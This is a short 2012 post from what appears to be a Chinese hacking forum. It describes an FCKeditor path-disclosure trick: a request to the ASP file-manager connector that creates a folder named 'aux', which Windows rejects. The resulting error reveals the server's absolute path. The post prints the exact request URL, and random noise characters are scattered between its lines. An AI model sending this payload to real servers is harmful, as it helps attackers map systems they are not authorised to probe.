找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2339|回复: 0
打印 上一主题 下一主题

最新FCKeditor爆绝对路径漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-21 13:39:04 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
代码:FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=File&CurrentFolder=%2F&NewFolderName=aux
5 c; f. H+ V1 \( h' v
. @4 v7 p8 F; ? . J) j# i& U9 s- O- Q2 ]
版本未测试。。。
; l/ O& e" G3 ?: f# K# ^6 J8 [
$ S) T8 @5 P% t  r3 N" ^5 q原理:新建个aux文件夹,aux在windows系统不支持,所以会报错,爆出绝对路径,这个比较鸡肋。求大神别喷。。。& F2 @+ x* x6 o+ N' i% h0 E
' L# ?8 ^9 \5 x: _& O2 F' ?
' q% |  a$ u; ^" r% M9 ]- _
听说IIS都可以。。
9 t+ c; J# N9 U0 u. M7 Z7 w
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表